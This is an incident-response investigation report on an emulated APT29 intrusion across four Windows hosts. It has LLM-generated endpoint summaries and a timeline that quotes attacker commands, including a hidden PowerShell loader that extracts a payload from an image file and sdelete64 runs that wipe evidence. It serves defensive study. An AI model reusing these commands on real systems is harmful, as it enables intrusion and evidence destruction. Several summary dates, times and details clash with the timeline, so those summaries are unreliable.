Demo Investigation

Endpoints

Hostname	First Timestamp	Last Timestamp	Events
SCRANTON.dmevals.local	5/1/2020 10:55:56 PM	5/2/2020 4:18:37 AM	136
NASHUA.dmevals.local	5/1/2020 11:10:23 PM	5/1/2020 11:17:52 PM	58
UTICA.dmevals.local	5/2/2020 3:55:06 AM	5/2/2020 4:21:21 AM	112
NEWYORK.dmevals.local	5/2/2020 4:02:44 AM	5/2/2020 4:17:35 AM	9

Investigation Summary

An investigation based on the https://github.com/OTRF/detection-hackathon-apt29 dataset. Investigation and endpoint summaries are generated by a large language model (LLM) from the Investigation events, comments and Micro-Technique evidence.

Generated with: gpt-4o 128,000 context

Introduction:
The purpose of this incident response timeline investigation is to analyze and understand the sequence of events that led to a potential security breach within the organization's network. The investigation focuses on four key endpoints: SCRANTON.dmevals.local, UTICA.dmevals.local, NASHUA.dmevals.local, and NEWYORK.dmevals.local, all running Windows operating systems. The significance of this incident lies in its potential to compromise sensitive data, disrupt operations, and damage the organization's reputation. The objective is to identify the nature of the attack, the methods used, and the extent of the impact.

Summary of Findings:
The investigation revealed a sophisticated and coordinated attack across multiple endpoints. On SCRANTON.dmevals.local, the attacker initially transferred an executable file and employed masquerading techniques to execute scripts and establish persistence. Network connections to remote IPs and the use of tools like PowerShell and sdelete64.exe indicated data exfiltration and track-covering efforts. On UTICA.dmevals.local, similar patterns were observed, with the use of PowerShell and certutil.exe to decode and execute malicious payloads, followed by credential dumping and lateral movement using WMI and RDP. NASHUA.dmevals.local experienced network connections and the deployment of python.exe for lateral movement and data exfiltration, using tools like Rar.exe and sdelete64.exe for data collection and cleanup. NEWYORK.dmevals.local saw the execution of wsmprovhost.exe and m.exe for credential dumping, followed by multiple Kerberos authentication attempts, indicating an effort to escalate privileges and expand access.

Root Cause Analysis:
The root cause of the incident appears to be the initial transfer and execution of malicious files on SCRANTON.dmevals.local and UTICA.dmevals.local. The attackers exploited vulnerabilities in the system's defenses, such as inadequate monitoring of executable file transfers and insufficient restrictions on PowerShell and other system tools. Misconfigurations in remote access protocols and the lack of robust authentication mechanisms facilitated lateral movement and credential dumping activities.

Impact Assessment:

Investigation Summary

The incident has significant implications for the organization's operations and data integrity. The attackers gained unauthorized access to multiple endpoints, exfiltrated sensitive data, and created new user accounts with administrative privileges. The use of credential dumping and lateral movement techniques suggests that the attackers could potentially access other parts of the network, posing a risk to the entire organizational infrastructure. The need for immediate remediation and strengthening of security measures is critical to prevent further damage and ensure the integrity of the organization's data and operations.

Detailed Analysis:
The analysis of the endpoints SCRANTON.dmevals.local, UTICA.dmevals.local, and NASHUA.dmevals.local reveals a coordinated and sophisticated intrusion involving multiple MITRE ATT&CK tactics.

For Initial Access (TA0001), the adversary employed masquerading techniques, including a right-to-left override to disguise a malicious executable file, which was executed to mark the first appearance of the malware.

In terms of Execution (TA0002), the attacker heavily relied on PowerShell across all endpoints to execute various commands and scripts, including extracting and executing payloads from image files and remote servers. Additionally, Python scripts and the Windows Command Shell were used to run arbitrary commands, highlighting the adversary's flexibility in leveraging multiple scripting tools.

Persistence (TA0003) was achieved through several methods. On SCRANTON, the attacker modified registry run keys and startup folders to ensure code execution upon system logon. On UTICA, a Windows Management Instrumentation (WMI) event subscription was created to execute malicious code during specific events, such as user logon. These methods ensured long-term access and potential privilege escalation.

For Defense Evasion (TA0005), the adversary employed process injection techniques, specifically portable executable injection, to run code within legitimate processes. The use of certutil.exe to decode files and encoded PowerShell commands to download and execute scripts from remote servers further obfuscated their activities. Additionally, on NASHUA, the execution of "sdelete64.exe" to securely delete files and registry modifications to accept the EULA for SDelete demonstrated efforts to remove traces of their activities.

On May 2, 2020, multiple endpoints within the dmevals.local domain experienced a series of sophisticated attacks focused on Privilege Escalation (TA0004) and

Investigation Summary

Credential Access (TA0006). At 02:58:44 UTC, on SCRANTON.dmevals.local, a PowerShell script executed by user 'DMEVALS\pbeesly' bypassed execution policies and ran with elevated privileges. This script manipulated an image file to decode and execute a hidden payload. By 03:05:16 UTC, the 'lsass.exe' process was accessed, indicating an attempt to dump credentials from the Local Security Authority Subsystem Service (LSASS) memory.

Later, at 07:59:10 UTC on UTICA.dmevals.local, a process aimed at dumping OS credentials from LSASS was executed, likely using Mimikatz. This was followed by another credential dumping attempt at 08:07:56 UTC using a PowerShell script targeting LSASS. By 08:12:26 UTC, system processes like wininit.exe and services.exe were involved in credential dumping, with log file creation suggesting efforts to cover tracks. Further PowerShell executions at 08:20:07 UTC and 08:21:59 UTC aimed to create a golden ticket for Kerberos authentication, allowing unrestricted network access.

Simultaneously, at 08:04:25 UTC on NEWYORK.dmevals.local, a process named 'm.exe' executed commands to dump credentials from LSASS, specifically targeting the 'krbtgt' account. Multiple security-related libraries were loaded, and the 'lsass.exe' process was accessed repeatedly to extract credential data.

The analysis of the endpoints SCRANTON.dmevals.local, UTICA.dmevals.local, and NASHUA.dmevals.local reveals a coordinated and systematic approach to remote execution and lateral movement within the network. Initially, adversaries executed PowerShell scripts on SCRANTON and UTICA, indicating attempts to run adversary-controlled code. This was followed by network connections to remote IP addresses, suggesting reconnaissance or command and control communication. On UTICA, PowerShell was used to download and execute additional scripts, employing encoded commands and bypass techniques to evade detection.

Subsequent events on SCRANTON involved the use of Windows Remote Management (WinRM) and PsExec to interact with remote systems and execute Python scripts, indicating lateral movement. Similarly, UTICA saw the use of Windows Management Instrumentation (WMI) to execute a malicious executable for credential theft and further network connections over various ports, including 8080 and 5985, for lateral movement. Both endpoints recorded Remote Desktop Protocol (RDP) logons using valid credentials, suggesting the adversary had obtained legitimate user credentials.

On NASHUA, the timeline shows multiple logon events using valid domain credentials, followed by network share accesses and the use of software deployment tools like PsExec and Python. This indicates a methodical approach to deploying and running malicious code across the network. The consistent use

Investigation Summary

of the same user account and IP address points to a focused effort to maintain persistence and control.

On April 30, 2020, at 00:35:26 UTC, an adversary initiated an ingress tool transfer on SCRANTON.dmevals.local by downloading a 'python.exe' executable from an external IP address (192.168.0.4). This action, under the Command and Control tactic, suggests preparation for further malicious activities, potentially facilitating data collection or exfiltration.

On May 1, 2020, at 07:09:23 UTC, the adversary retrieved the Mimikatz tool from the same external IP address on UTICA.dmevals.local, indicating an intent to extract credentials, aligning with the Command and Control tactic.

On May 2, 2020, at 03:16:19 UTC, the adversary executed 'Rar.exe' on NASHUA.dmevals.local to compress and encrypt files in the user's roaming directory, storing the archive on the desktop. This action falls under the Collection tactic, suggesting preparation for data exfiltration.

Later on May 2, 2020, at 07:55:27 UTC, the adversary used certutil.exe on UTICA.dmevals.local to decode a file named kxwn.lock in the AppData directory, indicating data staging. Shortly after, at 08:09:58 UTC, the adversary used net.exe to map a network drive to OneDrive, facilitating Exfiltration to Cloud Storage.

Overall, the adversary leveraged legitimate tools and credentials to execute code remotely and move laterally through the network, aiming to expand access and maintain control over multiple systems. The use of PowerShell, WinRM, PsExec, WMI, and RDP highlights a sophisticated approach to achieving their objectives while evading detection. The sequence of events demonstrates a coordinated effort involving credential harvesting, data staging, and exfiltration using legitimate tools and services to minimize detection, pointing to a methodical approach to data theft and system manipulation.

NASHUA.dmevals.local Summary

Endpoint Name: NASHUA.dmevals.local
Operating System: Windows
First Event Timestamp: 05/02/2020 02:55:24
Last Event Timestamp: 05/02/2020 08:29:22
Observed IP Addresses: 10.0.1.6
Observed Users: DMEVALS\pbeesly, pbeesly

Summary of Findings:
The timeline reveals a series of coordinated actions indicative of a sophisticated lateral movement attack within the network. The adversary utilized valid domain credentials to access remote services and deployed software tools to facilitate their movement. Key events include multiple instances of network connections to remote IPs, creation and execution of files such as python.exe and PSEXESVC.exe, and the use of PowerShell scripts to collect and compress sensitive data. The repeated access to network share objects and the execution of scripts to gather and archive data suggest a methodical approach to data exfiltration.

Root Cause Analysis:
The root cause of the incident appears to be the compromise of valid domain credentials, specifically those of the user 'pbeesly'. This allowed the adversary to log into multiple systems using remote access protocols. The presence of tools like PSEXESVC.exe and python.exe in the Windows Temp directory indicates that the adversary leveraged software deployment tools to execute their payloads. Additionally, the use of PowerShell scripts to enumerate and compress files points to a vulnerability in the endpoint's security configuration, allowing the execution of potentially malicious scripts without adequate detection or prevention mechanisms.

Impact Assessment:
The incident has significant implications for data integrity and operational security. The adversary's ability to move laterally across the network and access multiple systems suggests a potential compromise of sensitive data. The collection and compression of files with extensions such as .doc, .xls, .pdf, and keywords related to credentials indicate a high risk of data exfiltration. The use of tools to delete traces of their activity further complicates the assessment of the full extent of the breach. Overall, the incident poses a substantial threat to the confidentiality and integrity of the organization's data and highlights the need for enhanced security measures to prevent similar occurrences in the future.

Narrative of Attack:
The timeline indicates a series of actions that suggest a targeted intrusion aimed at executing malicious code and evading detection. The sequence begins

NASHUA.dmevals.local Summary

with the execution of a Python script, a common method for running arbitrary commands and scripts on a system. This initial execution is followed by the use of PowerShell, another powerful scripting tool, to run additional commands. The adversary then uses a RAR executable to compress files, likely for exfiltration purposes, and subsequently employs the Windows Command Shell to execute further commands.

The use of multiple scripting and command interpreters, such as Python, PowerShell, and the Windows Command Shell, highlights the adversary's intent to leverage various tools for execution. This multi-faceted approach is indicative of a sophisticated attempt to maintain flexibility and control over the compromised system. The execution of "sdelete64.exe" to securely delete files, along with registry modifications to accept the EULA for SDelete, demonstrates a clear effort to evade detection and remove traces of their activities.

The activity begins with the use of valid domain credentials to access remote services, as evidenced by multiple logon events from the user 'pbeesly' on the domain 'DMEVALS.LOCAL' from the IP address '10.0.1.4'. These logons are consistently followed by network share accesses, suggesting an attempt to explore or utilize shared resources. Concurrently, there are multiple instances of software deployment tools being used, specifically the execution of 'PSEXESVC.exe' and 'python.exe' from temporary directories. This pattern indicates the adversary's use of administrative tools to execute code remotely, which is a common technique for lateral movement. The repeated execution of these processes, along with the spawning of 'conhost.exe', points to an automated or scripted approach to deploying and running malicious code across the network.

On May 2, 2020, at 03:16:19 UTC, an adversary initiated a data collection and exfiltration process by executing a utility to archive data. The process involved the use of 'Rar.exe' to compress and encrypt files located in the user's roaming directory into a zip file stored on the desktop. This action falls under the Collection tactic, specifically the technique of archiving collected data via a utility. The use of compression and encryption suggests an attempt to obfuscate the data and minimize its size for easier and more secure transport. The execution of this process indicates a preparatory step for data exfiltration, potentially signaling the adversary's intent to steal sensitive information. The use of a known utility like 'Rar.exe' also points to an effort to blend in with legitimate system activities, thereby avoiding detection. This activity could be a precursor to further exfiltration efforts, possibly involving the transfer of the archived data over a command and control channel to an external location. The overall pattern suggests a methodical approach to data theft, with the adversary taking steps to ensure the data is both concealed and efficiently packaged for exfiltration.

NEWYORK.dmevals.local Summary

Endpoint Name: NEWYORK.dmevals.local
Operating System: Windows
First Event Timestamp: 05/02/2020 02:55:25
Last Event Timestamp: 05/02/2020 08:29:21
Observed IP Addresses: 10.0.0.4
Observed Users: pbeesly, DMEVALS\mscott, dschrute, mscott, kmalone

Summary of Findings:
The timeline reveals a series of events indicative of a coordinated attack aimed at credential access. The attack began with the execution of 'wsmprovhost.exe' and a network connection from IP 10.0.1.5 to 10.0.0.4. Shortly after, a logon event for user 'dschrute' was recorded, followed by the creation of a suspicious executable 'm.exe' in the System32 directory. This executable was then used to perform OS credential dumping, specifically targeting the LSASS process to extract credentials. Multiple library loads and process interactions with 'lsass.exe' were observed, consistent with credential dumping activities. Subsequent events included Kerberos ticket requests, suggesting the use of extracted credentials to generate Golden Tickets for unauthorized access.

Root Cause Analysis:
The root cause of the incident appears to be the successful execution of a malicious executable 'm.exe' that facilitated OS credential dumping. The presence of this executable in the System32 directory indicates a potential compromise of user 'mscott' or a misconfiguration that allowed the attacker to place and execute the file with elevated privileges. The attack leveraged legitimate system processes and tools, making detection more challenging. The initial network connection and subsequent logon events suggest that the attacker had prior access to the network, possibly through stolen credentials or an unpatched vulnerability.

Impact Assessment:
The incident had a significant impact on data integrity and security. The successful dumping of credentials from the LSASS process implies that the attacker gained access to sensitive account information, which could be used for further lateral movement within the network. The generation of Kerberos Golden Tickets indicates a high risk of persistent unauthorized access, allowing the attacker to impersonate any user, including domain administrators. This level of access could lead to data exfiltration, disruption of services, and potential manipulation of critical data. Immediate containment and remediation actions are necessary to mitigate the risk and prevent further damage.

Detailed Analysis:

NEWYORK.dmevals.local Summary

On May 2, 2020, at 08:04:25 UTC, a series of events indicative of credential access and potential privilege escalation were detected. The adversary executed a process using the filename 'm.exe' with commands aimed at dumping credentials from the Local Security Authority Subsystem Service (LSASS). This action, associated with OS Credential Dumping (TA0006.T1003.000), involved the use of the 'privilege::debug' command to inject and extract credential information, specifically targeting the 'krbtgt' account.

Simultaneously, multiple libraries were loaded, including 'cryptdll.dll', 'samlib.dll', 'hid.dll', and 'WinSCard.dll', which are commonly associated with accessing and manipulating security-related data. The process also opened the 'lsass.exe' process, a critical component for managing security policies and storing sensitive credential information.

The repeated execution of the same command and subsequent process exit suggests a methodical approach to extracting credential data from LSASS memory (TA0006.T1003.001). The adversary's actions indicate an attempt to harvest credential material, which could be used for lateral movement within the network or to escalate privileges by leveraging the obtained credentials.

The use of legitimate tools and commands in this manner highlights the adversary's intent to remain undetected while gaining higher-level permissions, aligning with the tactics of Privilege Escalation (TA0004) and Credential Access (TA0006). The overall pattern of behavior suggests a deliberate effort to exploit system vulnerabilities and misconfigurations to achieve unauthorized access and control over the network.

UTICA.dmevals.local Summary

Endpoint Name: UTICA.dmevals.local
Operating System: Windows
First Event Timestamp: 08/25/2011 18:27:29
Last Event Timestamp: 05/02/2020 08:29:23
Observed IP Addresses: 10.0.1.5
Observed Users: DMEVALS\mscott, DMEVALS\dschrute, dschrute

Summary of Findings:
The investigation revealed a series of coordinated malicious activities beginning on May 1, 2020, with the ingress of the Mimikatz tool from an external IP address (192.168.0.4). The adversary utilized PowerShell scripts extensively to execute commands and obfuscate their actions. Key events included the use of certutil.exe to decode files, registry modifications to establish persistence, and multiple instances of credential dumping using Mimikatz. The attacker also leveraged Windows Management Instrumentation (WMI) and Windows Remote Management (WinRM) for lateral movement across the network. The final stages involved exfiltrating data to a cloud storage service and wiping traces of the malicious executable.

Root Cause Analysis:
The root cause of the incident was the successful ingress of the Mimikatz tool, facilitated by inadequate network segmentation and insufficient monitoring of PowerShell activities. The adversary exploited misconfigurations in the PowerShell execution policy, allowing them to run scripts with elevated privileges. Additionally, the lack of robust endpoint detection and response (EDR) mechanisms enabled the attacker to perform credential dumping and lateral movement without immediate detection.

Impact Assessment:
The incident had significant implications for data integrity and operational security. The adversary successfully exfiltrated sensitive data to an external cloud storage service, potentially compromising confidential information. The use of credential dumping tools like Mimikatz indicates that multiple user accounts, including those with administrative privileges, were likely compromised. This breach could lead to unauthorized access to critical systems and data, posing a substantial risk to the organization's overall security posture. Immediate remediation and a thorough review of security policies and configurations are essential to prevent future incidents.

Detailed Analysis:
The timeline reveals a series of coordinated actions indicative of a targeted intrusion. The adversary initially gained access to the network and immediately began executing a series of PowerShell commands, suggesting a focus on leveraging built-in Windows tools to avoid detection. The use of PowerShell to

UTICA.dmevals.local Summary

execute commands and scripts is a common technique for both execution and defense evasion, as it allows the attacker to run code without triggering traditional security alerts.

The repeated execution of certutil.exe to decode files indicates an effort to obfuscate malicious payloads, further supporting the defense evasion tactic. The adversary's use of encoded PowerShell commands to download and execute scripts from a remote server highlights their intent to maintain a low profile while establishing a foothold.

Persistence was achieved through the creation of a Windows Management Instrumentation (WMI) event subscription, which ensured that malicious code was executed whenever a specific event occurred, such as a user logon. This method not only maintained access but also potentially elevated privileges by leveraging system-level processes.

The adversary's actions also included the use of software deployment tools, suggesting an attempt to move laterally within the network. By accessing these tools, the attacker could execute code on multiple systems, gather information, or cause widespread damage.

The timeline reveals a series of events where the adversary attempted to gain higher-level permissions and access credentials on the system. Initially, there was an execution of a process aimed at dumping OS credentials, specifically targeting the LSASS memory. This involved the execution of a tool, likely Mimikatz, to extract login passwords, indicating an attempt to harvest credential material stored in the LSASS process memory. The process involved loading several libraries and opening the LSASS process, which is a common technique for credential dumping.

Subsequent events showed repeated use of PowerShell to download and execute additional scripts from the same remote IP, furthering the adversary's control over the compromised system. The use of encoded PowerShell commands and bypass techniques highlighted efforts to evade detection. The adversary then leveraged Windows Management Instrumentation (WMI) to download and execute a malicious executable, designed to extract and encode passwords, indicating a focus on credential theft.

The timeline also showed multiple instances of network connections to remote IPs over various ports, including 8080 and 5985, suggesting the use of different remote services for lateral movement. The adversary employed Windows Remote Management (WinRM) to interact with remote systems, further expanding their foothold within the network. Additionally, there were logon events via Remote Desktop Protocol (RDP), indicating the use of valid credentials to

UTICA.dmevals.local Summary

access other systems interactively.

On May 1, 2020, the adversary initiated an ingress tool transfer, retrieving the Mimikatz tool from an external IP address (192.168.0.4). This action indicated the adversary's intent to gain further control over the compromised environment by potentially extracting credentials.

The following day, the adversary executed the Windows utility certutil.exe to decode a file named kxwn.lock, which was subsequently created in the user's AppData directory. This suggested the adversary was preparing or staging data, possibly for exfiltration, by using native system tools to avoid detection.

Shortly after, the adversary used net.exe to establish a network connection to a cloud storage service (OneDrive) using a specific user account. This action involved mapping a network drive to the cloud service, indicating the adversary's intent to exfiltrate data discreetly over a legitimate web service, leveraging SSL/TLS encryption for added stealth.

Overall, the pattern of using built-in Windows tools, obfuscating payloads, and establishing persistent access through WMI event subscriptions indicated a sophisticated and targeted intrusion aimed at maintaining long-term access while evading detection. The consistent use of encoded commands and legitimate tools underscored an intent to remain stealthy while exploring and compromising additional systems. The sequence of events demonstrated a clear pattern of data staging and exfiltration, with the adversary using legitimate tools and services to minimize detection. The initial ingress of Mimikatz suggested credential harvesting, followed by data preparation and eventual exfiltration to cloud storage, pointing to a coordinated effort to steal sensitive information.

SCRANTON.dmevals.local Summary

Endpoint Name: SCRANTON.dmevals.local
Operating System: Windows
First Event Timestamp: 08/25/2011 18:27:29
Last Event Timestamp: 05/02/2020 08:29:16
Observed IP Addresses: 10.0.1.4
Observed Users: DMEVALS\pbeesly, pbeesly, DMEVALS\mscott, DMEVALS\kmalone, kmalone

Summary of Findings:
The investigation revealed a series of coordinated malicious activities beginning with the transfer of a suspicious executable file, "python.exe," from an external IP address (192.168.0.4) to the compromised environment. This was followed by the execution of a masqueraded file "â€®cod.3aka3.scr," which initiated a series of network connections and file modifications. The attacker leveraged PowerShell scripts to create and execute additional malicious files, including "monkey.png" and "hostui.exe," and established persistence through registry modifications. The adversary also performed credential dumping from the LSASS process and utilized various tools for lateral movement, including PsExec and Remote Desktop Protocol (RDP). The attack culminated in the creation of a new user account "toby" with administrative privileges, indicating a potential takeover of the compromised systems.

Root Cause Analysis:
The root cause of the incident was the successful ingress of the malicious executable "python.exe" via an external IP address, exploiting inadequate network defenses and monitoring. The adversary utilized PowerShell scripts extensively, indicating a lack of sufficient script execution policies and monitoring. The persistence mechanisms employed, such as registry modifications and startup folder entries, suggest that the systems lacked robust endpoint protection and auditing. Additionally, the use of valid credentials for lateral movement points to potential weaknesses in credential management and network segmentation.

Impact Assessment:
The incident had a significant impact on the compromised systems, including unauthorized access to sensitive data and potential exfiltration of private keys and other critical information. The creation of a new administrative user account "toby" indicates a high risk of further unauthorized access and control over the network. The adversary's ability to move laterally and execute commands on multiple systems suggests a widespread compromise, potentially affecting data integrity and operational continuity. The use of credential dumping and process injection techniques further exacerbates the risk of ongoing unauthorized access and data breaches. Immediate remediation actions are necessary to contain the threat and prevent further damage.

SCRANTON.dmevals.local Summary

Detailed Analysis:
The timeline reveals a sophisticated intrusion involving multiple MITRE ATT&CK tactics and techniques. The adversary initially gained access through a masquerading technique, utilizing a right-to-left override to disguise a malicious executable file. This file was executed, marking the first appearance of the malware. Following this, the attacker established persistence by modifying registry run keys and startup folders, ensuring their code executed upon system logon.

Execution was heavily reliant on PowerShell, a common tool for adversaries due to its powerful scripting capabilities. The attacker used PowerShell to execute various commands and scripts, including a script to extract and execute a payload from an image file. This indicates a high level of sophistication and knowledge of PowerShell's capabilities.

To evade detection, the adversary employed process injection techniques, specifically portable executable injection, to run their code within the context of legitimate processes. This not only helped in evading process-based defenses but also potentially elevated their privileges. The use of software deployment tools like PsExec further aided in lateral movement across the network, indicating the adversary's intent to expand their foothold and possibly gather more information or cause widespread damage.

On May 2, 2020, at 02:58:44 UTC, a PowerShell script was executed by the user 'DMEVALS\pbeesly'. The script was designed to run with elevated privileges, bypassing execution policies and running hidden from the user. This script utilized the System.Drawing library to manipulate an image file, which appears to be a method to obfuscate its true intent. The script then decoded and executed a payload from the manipulated image data.

Shortly after, at 03:05:16 UTC, the process 'lsass.exe' was accessed. This indicates an attempt to dump credentials from the Local Security Authority Subsystem Service (LSASS) memory, a common technique under the MITRE tactic Credential Access (TA0006). The use of PowerShell to execute the initial script suggests an attempt to evade detection and gain access to sensitive credential information stored in LSASS.

The sequence of events demonstrates a clear pattern of privilege escalation and credential access. The adversary first executed a script with elevated privileges to run hidden commands, then targeted LSASS to extract credential material. This suggests an intent to gain higher-level permissions and potentially move laterally within the network using the harvested credentials. The use of obfuscation techniques and direct access to LSASS memory highlights

SCRANTON.dmevals.local Summary

the sophistication of the attack and the adversary's focus on maintaining stealth while escalating privileges.

The timeline reveals a series of events indicating lateral movement and remote execution within a network. Initially, a PowerShell script was executed, suggesting an attempt to run adversary-controlled code. This was followed by network connections to remote IP addresses, indicating potential reconnaissance or data exfiltration activities. Shortly after, another PowerShell process was initiated, leading to multiple network connections to different IP addresses, including connections over port 80 and port 389, which are commonly used for web traffic and LDAP directory services, respectively. This suggests the adversary was exploring the network and possibly interacting with directory services to gather more information or escalate privileges.

Subsequent events showed the use of Windows Remote Management (WinRM) to interact with remote systems, further indicating lateral movement. The adversary then employed PsExec, a tool often used for remote execution, to run a Python script on a remote machine. This action was repeated multiple times, targeting the same remote system, which implies persistence and continued efforts to maintain control over the network.

Finally, the timeline recorded a Remote Desktop Protocol (RDP) logon, which is another method of remote access. The use of valid credentials for RDP access suggests the adversary had obtained legitimate user credentials, possibly through earlier reconnaissance or credential dumping activities. The pattern of using various remote services and tools like PowerShell, WinRM, PsExec, and RDP highlights a systematic approach to lateral movement, aiming to expand access and control over multiple systems within the network. The overall intent appeared to be gaining and maintaining access to critical systems, potentially for data exfiltration or further malicious activities.

On April 30, 2020, at 00:35:26 UTC, an adversary initiated an ingress tool transfer, a technique under the Command and Control tactic. A Windows Portable Executable (PE) file, specifically a 'python.exe' executable, was downloaded from an external IP address (192.168.0.4) to the compromised environment. The file's SHA-256 hash was recorded, indicating a potential preparation for further malicious activities. This action suggests the adversary's intent to establish a foothold within the network, possibly to facilitate subsequent data collection or exfiltration. The use of a common utility like Python could enable the adversary to execute scripts or automate tasks, aligning with their broader objectives of data theft or system manipulation. The timing and nature of this transfer highlight a strategic move to deploy tools that could be used for gathering sensitive information, exfiltrating data, or disrupting system operations, thereby indicating a potential staging phase for more extensive

SCRANTON.dmevals.local Summary

malicious activities.

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:55:56 PM **Event Type:** Process Execute

Detail: pbeesly · â€®cod.3aka3.scr · "C:\ProgramData\victim\â€®cod.3aka3.scr" /S

Comment: First appearance of malware, PID 8524, stopped later

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:55:59 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.5 · 1234 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:56:18 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\AppData\Roaming\Draft.Zip

Comment: A file creation event was observed on the endpoint SCRANTON.dmevals.local. The file created was named Draft.Zip and was located in the directory C:\Users\pbeesly\AppData\Roaming\. The event occurred at UTC time 2020-05-02 02:56:18.032. The process responsible for this action was powershell.exe, which was executed from the path C:\windows\System32\WindowsPowerShell\v1.0\. The process had a Process ID (PID) of 5944 and a Process GUID of {47ab858c-e14e-5eac-ac03-000000000400}. The event was logged by Microsoft-Windows-Sysmon with an Event ID of 11, indicating a file creation operation. The event was categorized under the "File Modification" type and was tagged with "mordorDataset". The event was recorded in the Sysmon Operational channel with a severity level of "INFO". The account associated with this event was SYSTEM, and the UserID was S-1-5-18. The event was received at 2020-05-01 22:56:20 and was sourced from the host wec.internal.cloudapp.net. The event's metadata includes a record number of 347743 and a thread ID of 4588. The file extension of the created file is .Zip, indicating a compressed archive format.

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:57:00 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\monkey.png

Comment: monkey.png malware decoded by registry autorun

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:57:12 PM **Event Type:** Process Execute

Detail: pbeesly · cmd.exe · "C:\windows\system32\cmd.exe"

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:57:15 PM **Event Type:** Process Execute

Detail: pbeesly · powershell.exe · powershell

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:18 PM **Event Type:** Registry Modification

Detail: HKU · _CLASSES · Folder\shell\open\command\(Default)

Comment: monkey.png extraction script

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:43 PM **Event Type:** Process Execute

Detail: pbeesly · sdclt.exe · "C:\windows\system32\sdclt.exe"

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:43 PM **Event Type:** Process Execute

Detail: pbeesly · control.exe · "C:\Windows\System32\control.exe" /name Microsoft.BackupAndRestoreCenter

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:44 PM **Event Type:** Process Execute

Detail: pbeesly · powershell.exe · "PowerShell.exe" -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\Users\pbeesly\Downloads\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:45 PM **Event Type:** Process Execute

Detail: pbeesly · csc.exe · "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\pbeesly\AppData\Local\Temp\qkbkqqbs\qkbkqqbs.cmdline"

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:45 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.5 · 443 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:58:46 PM **Event Type:** Network Connection

Detail: Outbound · 192.168.0.5 · 443 · TCP

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 10:59:42 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\SysinternalsSuite.zip

Comment: Dropped SysInternals Suite + malware

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:13 PM **Event Type:** Process Execute

Detail: pbeesly · powershell.exe · powershell.exe

Comment: monkey.png payload execution

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:27 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\SysinternalsSuite\hostui.txt

Comment: Malware written as hostui.txt, renamed to hostui.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:31 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\SysinternalsSuite\readme.txt

Comment: Malware entrenched in HKLM\SOFTWARE\Javasoft, renamed to readme.ps1

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:32 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\SysinternalsSuite\javamtsup.exe

Comment: Service malware

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:32 PM **Event Type:** File Modifcation

Detail: create · C:\Users\pbeesly\Downloads\SysinternalsSuite\strings64.exe

Comment: Malware moved to hostui.exe

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:00:49 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: cd "C:\Program Files\SysinternalsSuite\"

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:01:04 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: get-process

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:01:28 PM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: stop-process -id 8524 -Force

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:01:42 PM **Event Type:** DNS Lookup

Detail: NEWYORK.dmevals.local · 0 · ::ffff:10.0.0.4;

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:02:04 PM **Event Type:** Process Execute

Detail: pbeesly · sdelete64.exe · "C:\Program Files\SysinternalsSuite\sdelete64.exe" /accepteula C:\programdata\victim\???cod.3aka3.scr

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:02:04 PM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:14 PM **Event Type:** Process Execute

Detail: pbeesly · sdelete64.exe · "C:\Program Files\SysinternalsSuite\sdelete64.exe" /accepteula C:\Users\pbeesly\AppData\Roaming\Draft.Zip

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:14 PM **Event Type:** Registry Modification

Detail: HKU · SOFTWARE · Sysinternals\SDelete\EulaAccepted

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/1/2020 11:03:33 PM **Event Type:** Process Execute

Detail: pbeesly · sdelete64.exe · "C:\Program Files\SysinternalsSuite\sdelete64.exe" /accepteula C:\Users\pbeesly\Downloads\SysinternalsSuite.zip

